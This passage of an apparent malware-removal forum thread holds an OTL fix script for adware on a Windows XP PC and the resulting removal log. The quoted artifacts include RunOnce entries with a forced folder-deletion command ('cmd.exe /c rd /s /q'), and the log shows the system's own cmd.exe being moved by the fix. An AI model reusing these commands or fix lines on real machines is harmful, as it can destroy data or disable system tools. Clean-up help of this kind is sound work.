FF - prefs.js..extensions.enabledAddons: a9719e64-232b-4695-ae9c-a89cd7f2aa84%40ca1279df-bc0d-44a8-97ef-19301c922b68.com:0.94.28
FF - prefs.js..browser.startup.homepage: "http://start.mysearc...cr=588007132="
FF - user.js..browser.search.selectedEngine: "Speedial"
FF - user.js..browser.startup.homepage: "http://speedial.com/...r=1239874711="
[2014/05/23 01:59:16 | 000,000,000 | ---D | M] (Discount Dragon) -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\{D8A30808-3888-E608-3AA4-A2CEA2623402}
[2014/05/04 14:55:55 | 000,000,000 | ---D | M] ("MediaPlayerplus") -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\a9719e64-232b-4695-ae9c-a89cd7f2aa84@ca1279df-bc0d-44a8-97ef-19301c922b68.com
[2014/05/23 01:43:11 | 000,000,000 | ---D | M] (No name found) -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\staged
[2014/05/04 14:55:54 | 000,000,000 | ---D | M] (No name found) -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\a9719e64-232b-4695-ae9c-a89cd7f2aa84@ca1279df-bc0d-44a8-97ef-19301c922b68.com\extensionData
[2014/05/04 14:55:53 | 000,000,000 | ---D | M] (No name found) -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\a9719e64-232b-4695-ae9c-a89cd7f2aa84@ca1279df-bc0d-44a8-97ef-19301c922b68.com\extensionData\plugins
[2014/05/04 14:55:54 | 000,000,000 | ---D | M] (No name found) -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\a9719e64-232b-4695-ae9c-a89cd7f2aa84@ca1279df-bc0d-44a8-97ef-19301c922b68.com\extensionData\userCode
[2014/05/23 00:05:30 | 000,007,956 | ---- | M] () (No name found) -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\{9acd1534-e8f8-40cb-b5ac-4996fe01175b}.xpi
[2014/05/04 14:47:50 | 000,353,958 | ---- | M] () (No name found) -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\{ad9a41d2-9a49-4fa6-a79e-71a0785364c8}.xpi
[2014/05/23 01:42:59 | 000,001,219 | ---- | M] () -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\searchplugins\Speedial.xml
File not found (No name found) -- C:\DOCUMENTS AND SETTINGS\MICHAEL.TOSHIBA\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\DP9XCVWZ.DEFAULT\EXTENSIONS\A0046B9B-FDB9-497F-A4B1-2A108AD6007A@5CDF80B7-0420-4BB7-B3C0-E188E6F4FB8A.COM
O2 - BHO: (ScanTack) - {d332cff8-358e-4c9e-8af3-a08872ef22c1} - C:\Program Files\ScanTack\ScanTackBHO.dll (ScanTack)
O2 - BHO: (Discount Dragon BHO) - {EA34C851-D481-49F5-A356-3A8B0A8F3B7E} - C:\Program Files\Discount Dragon\FrameworkBHO.dll ()
O4 - HKLM..\Run: [fst_ca_94]  File not found
O4 - HKLM..\Run: [t4pc_en_3] "C:\Program Files\t4pc_en_3\t4pc_en_3.exe" File not found
O4 - HKLM..\Run: [upfst_ca_94.exe] C:\Documents and Settings\Alina.TOSHIBA\Local Settings\Application Data\fst_ca_88\upfst_ca_94.exe -runhelper File not found
O4 - HKLM..\Run: [upt4pc_en_3.exe] C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\t4pc_en_3\upt4pc_en_3.exe ()
O4 - HKCU..\Run: [fastclean] "C:\Program Files\FastClean PRO\fastcleanpro.exe" File not found
O4 - HKLM..\RunOnce: [Del19451687] C:\WINDOWS\System32\cmd.exe (Microsoft Corporation)
O4 - HKLM..\RunOnce: [DelTr20005109] cmd.exe /c rd /s /q  "C:\Documents and Settings\Michael.TOSHIBA\Application Data\Speedial" File not found
O4 - HKLM..\RunOnce: [Discount Dragon]  File not found
O4 - HKLM..\RunOnce: [Discount Dragon-repairJob] C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\Discount Dragon\repair.js  ()
O4 - HKCU..\RunOnce: [Del19451687] C:\WINDOWS\System32\cmd.exe (Microsoft Corporation)
O4 - HKCU..\RunOnce: [DelTr20005109] cmd.exe /c rd /s /q  "C:\Documents and Settings\Michael.TOSHIBA\Application Data\Speedial" File not found
[2014/05/27 10:31:26 | 000,000,000 | ---D | C] -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\{EA34C851-D481-49F5-A356-3A8B0A8F3B7E}
[2014/05/23 01:59:46 | 000,000,000 | ---D | C] -- C:\Documents and Settings\All Users\Start Menu\Programs\T4PC2
[2014/05/23 01:59:44 | 000,000,000 | ---D | C] -- C:\Program Files\t4pc_en_3
[2014/05/23 01:59:44 | 000,000,000 | ---D | C] -- C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\t4pc_en_3
[2014/05/23 01:59:19 | 000,000,000 | ---D | C] -- C:\Program Files\predm
[2014/05/23 01:59:19 | 000,000,000 | ---D | C] -- C:\Program Files\Discount Dragon
[2014/05/23 01:59:05 | 000,000,000 | ---D | C] -- C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\Discount Dragon
[2014/05/23 01:44:47 | 000,000,000 | ---D | C] -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\1H1Q
[2014/05/23 01:42:56 | 000,000,000 | ---D | C] -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\Speedial
[2014/05/23 01:41:52 | 000,000,000 | ---D | C] -- C:\Program Files\004
[2014/05/13 11:07:44 | 000,000,000 | ---D | C] -- C:\Program Files\ScanTack
[2014/05/11 12:58:49 | 000,000,000 | ---D | C] -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\mysearchdial
[2014/05/06 11:44:25 | 000,000,000 | ---D | C] -- C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\com
[2014/05/04 14:56:31 | 000,000,000 | ---D | C] -- C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\newplayer
[2014/05/04 14:56:10 | 000,000,000 | ---D | C] -- C:\Documents and Settings\Michael.TOSHIBA\My Documents\Optimizer Pro
[2014/05/04 14:53:51 | 000,000,000 | ---D | C] -- C:\Documents and Settings\Michael.TOSHIBA\Start Menu\Programs\VOPackage
[2014/05/04 14:53:46 | 000,000,000 | ---D | C] -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\VOPackage
[2014/05/04 14:51:26 | 000,000,000 | ---D | C] -- C:\Program Files\fst_ca_94
[2014/05/04 14:49:58 | 000,000,000 | ---D | C] -- C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\SearchProtect
[2014/05/23 02:09:00 | 000,000,336 | ---- | M] () -- C:\WINDOWS\tasks\bench-sys.job
[2014/05/23 02:01:05 | 000,000,428 | ---- | M] () -- C:\WINDOWS\tasks\At1.job
[2014/05/23 01:59:24 | 000,000,336 | ---- | M] () -- C:\WINDOWS\tasks\bench-S-1-5-21-1293464134-3710048992-3381499047-1006.job
 
:Files
C:\Program Files\004
C:\Program Files\ScanTack
C:\Program Files\fst_ca_94
C:\Program Files\Discount Dragon

:Commands
[resethosts]
[emptytemp]
[Reboot]
  • Then click the Run Fix button at the top
  • Let the program run unhindered, reboot the PC when it is done
  • Open OTL again and click the Quick Scan button. Post the log it produces in your next reply.
THEN

Please download AdwCleaner by Xplode onto your desktop.
  • Close all open programs and internet browsers.
  • Double click on AdwCleaner.exe to run the tool.
  • Click on Scan.
  • After the scan is complete click on "Clean"
  • Confirm each time with Ok.
  • Your computer will be rebooted automatically. A text file will open after the restart.
  • Please post the content of that logfile with your next answer.
  • You can find the logfile at C:\AdwCleaner[S1].txt as well.

  • 0

#15
mraskin
Posted 29 May 2014 - 08:54 PM

mraskin

    Member

  • Topic Starter
  • Member
  • PipPipPip
  • 238 posts

here is OTL log that got produced by itself right after the reboot:

All processes killed
========== COMMANDS ==========
Restore point Set: OTL Restore Point
========== OTL ==========
Service rqpbhevlkc32 stopped successfully!
Service rqpbhevlkc32 deleted successfully!
C:\Program Files\004\rqpbhevlkc32.exe moved successfully.
Error: Unable to stop service Update ScanTack!
Registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Update ScanTack deleted successfully.
C:\Program Files\ScanTack\updateScanTack.exe moved successfully.
HKLM\SOFTWARE\Microsoft\Internet Explorer\Main\\Start Page| /E : value set successfully!
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\\DefaultScope| /E : value set successfully!
Registry key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{31090377-0740-419E-BEFC-A56E50500D5B}\ deleted successfully.
Registry key HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{31090377-0740-419E-BEFC-A56E50500D5B}\ not found.
Registry key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{DBF405DC-BD13-4BBD-B384-4540B26E4551}\ deleted successfully.
Registry key HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{DBF405DC-BD13-4BBD-B384-4540B26E4551}\ not found.
HKCU\SOFTWARE\Microsoft\Internet Explorer\Main\\Start Page| /E : value set successfully!
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\\DefaultScope| /E : value set successfully!
Registry key HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{31090377-0740-419E-BEFC-A56E50500D5B}\ deleted successfully.
Registry key HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{31090377-0740-419E-BEFC-A56E50500D5B}\ not found.
Registry key HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{DBF405DC-BD13-4BBD-B384-4540B26E4551}\ deleted successfully.
Registry key HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{DBF405DC-BD13-4BBD-B384-4540B26E4551}\ not found.
HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\\ProxyOverride| /E : value set successfully!
HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\\ProxyServer| /E : value set successfully!
Prefs.js: a0046b9b-fdb9-497f-a4b1-2a108ad6007a%405cdf80b7-0420-4bb7-b3c0-e188e6f4fb8a.com:0.94.22 removed from extensions.enabledAddons
Prefs.js: a9719e64-232b-4695-ae9c-a89cd7f2aa84%40ca1279df-bc0d-44a8-97ef-19301c922b68.com:0.94.28 removed from extensions.enabledAddons
Prefs.js: "http://start.mysearc...cr=588007132=" removed from browser.startup.homepage
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\FireFox\Profiles\dp9xcvwz.default\user.js moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\{D8A30808-3888-E608-3AA4-A2CEA2623402}\icons folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\{D8A30808-3888-E608-3AA4-A2CEA2623402}\framework-ui folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\{D8A30808-3888-E608-3AA4-A2CEA2623402}\framework folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\{D8A30808-3888-E608-3AA4-A2CEA2623402}\CanvasFramework folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\{D8A30808-3888-E608-3AA4-A2CEA2623402}\assets folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\{D8A30808-3888-E608-3AA4-A2CEA2623402}\AppFramework folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\{D8A30808-3888-E608-3AA4-A2CEA2623402} folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\a9719e64-232b-4695-ae9c-a89cd7f2aa84@ca1279df-bc0d-44a8-97ef-19301c922b68.com\locale\en-US folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\a9719e64-232b-4695-ae9c-a89cd7f2aa84@ca1279df-bc0d-44a8-97ef-19301c922b68.com\locale folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\a9719e64-232b-4695-ae9c-a89cd7f2aa84@ca1279df-bc0d-44a8-97ef-19301c922b68.com\extensionData\userCode folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\a9719e64-232b-4695-ae9c-a89cd7f2aa84@ca1279df-bc0d-44a8-97ef-19301c922b68.com\extensionData\plugins folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\a9719e64-232b-4695-ae9c-a89cd7f2aa84@ca1279df-bc0d-44a8-97ef-19301c922b68.com\extensionData folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\a9719e64-232b-4695-ae9c-a89cd7f2aa84@ca1279df-bc0d-44a8-97ef-19301c922b68.com\defaults\preferences folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\a9719e64-232b-4695-ae9c-a89cd7f2aa84@ca1279df-bc0d-44a8-97ef-19301c922b68.com\defaults folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\a9719e64-232b-4695-ae9c-a89cd7f2aa84@ca1279df-bc0d-44a8-97ef-19301c922b68.com\chrome\content\core folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\a9719e64-232b-4695-ae9c-a89cd7f2aa84@ca1279df-bc0d-44a8-97ef-19301c922b68.com\chrome\content\api folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\a9719e64-232b-4695-ae9c-a89cd7f2aa84@ca1279df-bc0d-44a8-97ef-19301c922b68.com\chrome\content folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\a9719e64-232b-4695-ae9c-a89cd7f2aa84@ca1279df-bc0d-44a8-97ef-19301c922b68.com\chrome folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\a9719e64-232b-4695-ae9c-a89cd7f2aa84@ca1279df-bc0d-44a8-97ef-19301c922b68.com folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\staged\{fa95f577-07cb-4470-ac90-e843f5f83c52}\_locales\en-US folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\staged\{fa95f577-07cb-4470-ac90-e843f5f83c52}\_locales folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\staged\{fa95f577-07cb-4470-ac90-e843f5f83c52}\skin\plugins\resources folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\staged\{fa95f577-07cb-4470-ac90-e843f5f83c52}\skin\plugins\images\info folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\staged\{fa95f577-07cb-4470-ac90-e843f5f83c52}\skin\plugins\images\favorites folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\staged\{fa95f577-07cb-4470-ac90-e843f5f83c52}\skin\plugins\images\chrome folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\staged\{fa95f577-07cb-4470-ac90-e843f5f83c52}\skin\plugins\images folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\staged\{fa95f577-07cb-4470-ac90-e843f5f83c52}\skin\plugins\css folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\staged\{fa95f577-07cb-4470-ac90-e843f5f83c52}\skin\plugins folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\staged\{fa95f577-07cb-4470-ac90-e843f5f83c52}\skin\newtab\resources folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\staged\{fa95f577-07cb-4470-ac90-e843f5f83c52}\skin\newtab\images\patterns folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\staged\{fa95f577-07cb-4470-ac90-e843f5f83c52}\skin\newtab\images folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\staged\{fa95f577-07cb-4470-ac90-e843f5f83c52}\skin\newtab\css folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\staged\{fa95f577-07cb-4470-ac90-e843f5f83c52}\skin\newtab folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\staged\{fa95f577-07cb-4470-ac90-e843f5f83c52}\skin\icons folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\staged\{fa95f577-07cb-4470-ac90-e843f5f83c52}\skin\gallery folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\staged\{fa95f577-07cb-4470-ac90-e843f5f83c52}\skin\external folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\staged\{fa95f577-07cb-4470-ac90-e843f5f83c52}\skin folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\staged\{fa95f577-07cb-4470-ac90-e843f5f83c52}\content\newtab folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\staged\{fa95f577-07cb-4470-ac90-e843f5f83c52}\content\external folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\staged\{fa95f577-07cb-4470-ac90-e843f5f83c52}\content\data folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\staged\{fa95f577-07cb-4470-ac90-e843f5f83c52}\content\browser folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\staged\{fa95f577-07cb-4470-ac90-e843f5f83c52}\content folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\staged\{fa95f577-07cb-4470-ac90-e843f5f83c52} folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\staged\{ad9a41d2-9a49-4fa6-a79e-71a0785364c8}\_locales\en-US folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\staged\{ad9a41d2-9a49-4fa6-a79e-71a0785364c8}\_locales folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\staged\{ad9a41d2-9a49-4fa6-a79e-71a0785364c8}\skin\plugins\resources folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\staged\{ad9a41d2-9a49-4fa6-a79e-71a0785364c8}\skin\plugins\images\info folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\staged\{ad9a41d2-9a49-4fa6-a79e-71a0785364c8}\skin\plugins\images\favorites folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\staged\{ad9a41d2-9a49-4fa6-a79e-71a0785364c8}\skin\plugins\images\chrome folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\staged\{ad9a41d2-9a49-4fa6-a79e-71a0785364c8}\skin\plugins\images folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\staged\{ad9a41d2-9a49-4fa6-a79e-71a0785364c8}\skin\plugins\css folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\staged\{ad9a41d2-9a49-4fa6-a79e-71a0785364c8}\skin\plugins folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\staged\{ad9a41d2-9a49-4fa6-a79e-71a0785364c8}\skin\newtab\resources folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\staged\{ad9a41d2-9a49-4fa6-a79e-71a0785364c8}\skin\newtab\images\patterns folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\staged\{ad9a41d2-9a49-4fa6-a79e-71a0785364c8}\skin\newtab\images folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\staged\{ad9a41d2-9a49-4fa6-a79e-71a0785364c8}\skin\newtab\css folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\staged\{ad9a41d2-9a49-4fa6-a79e-71a0785364c8}\skin\newtab folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\staged\{ad9a41d2-9a49-4fa6-a79e-71a0785364c8}\skin\icons folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\staged\{ad9a41d2-9a49-4fa6-a79e-71a0785364c8}\skin\gallery folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\staged\{ad9a41d2-9a49-4fa6-a79e-71a0785364c8}\skin\external folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\staged\{ad9a41d2-9a49-4fa6-a79e-71a0785364c8}\skin folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\staged\{ad9a41d2-9a49-4fa6-a79e-71a0785364c8}\defaults\preferences folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\staged\{ad9a41d2-9a49-4fa6-a79e-71a0785364c8}\defaults folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\staged\{ad9a41d2-9a49-4fa6-a79e-71a0785364c8}\content\newtab folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\staged\{ad9a41d2-9a49-4fa6-a79e-71a0785364c8}\content\external folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\staged\{ad9a41d2-9a49-4fa6-a79e-71a0785364c8}\content\data folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\staged\{ad9a41d2-9a49-4fa6-a79e-71a0785364c8}\content\browser folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\staged\{ad9a41d2-9a49-4fa6-a79e-71a0785364c8}\content folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\staged\{ad9a41d2-9a49-4fa6-a79e-71a0785364c8} folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\staged folder moved successfully.
Folder C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\a9719e64-232b-4695-ae9c-a89cd7f2aa84@ca1279df-bc0d-44a8-97ef-19301c922b68.com\extensionData\ not found.
Folder C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\a9719e64-232b-4695-ae9c-a89cd7f2aa84@ca1279df-bc0d-44a8-97ef-19301c922b68.com\extensionData\plugins\ not found.
Folder C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\a9719e64-232b-4695-ae9c-a89cd7f2aa84@ca1279df-bc0d-44a8-97ef-19301c922b68.com\extensionData\userCode\ not found.
File C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\{9acd1534-e8f8-40cb-b5ac-4996fe01175b}.xpi not found.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\{ad9a41d2-9a49-4fa6-a79e-71a0785364c8}.xpi moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\searchplugins\Speedial.xml moved successfully.
Registry key HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{d332cff8-358e-4c9e-8af3-a08872ef22c1}\ not found.
Registry key HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{d332cff8-358e-4c9e-8af3-a08872ef22c1}\ not found.
File C:\Program Files\ScanTack\ScanTackBHO.dll not found.
Registry key HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{EA34C851-D481-49F5-A356-3A8B0A8F3B7E}\ deleted successfully.
Registry key HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{EA34C851-D481-49F5-A356-3A8B0A8F3B7E}\ deleted successfully.
File move failed. C:\Program Files\Discount Dragon\FrameworkBHO.dll scheduled to be moved on reboot.
Registry value HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\\fst_ca_94 deleted successfully.
Registry value HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\\t4pc_en_3 deleted successfully.
Registry value HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\\upfst_ca_94.exe deleted successfully.
Registry value HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\\upt4pc_en_3.exe deleted successfully.
C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\t4pc_en_3\upt4pc_en_3.exe moved successfully.
Registry value HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\\fastclean deleted successfully.
Registry value HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce\\Del19451687 deleted successfully.
C:\WINDOWS\system32\cmd.exe moved successfully.
Registry value HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce\\DelTr20005109 deleted successfully.
Registry value HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce\\Discount Dragon deleted successfully.
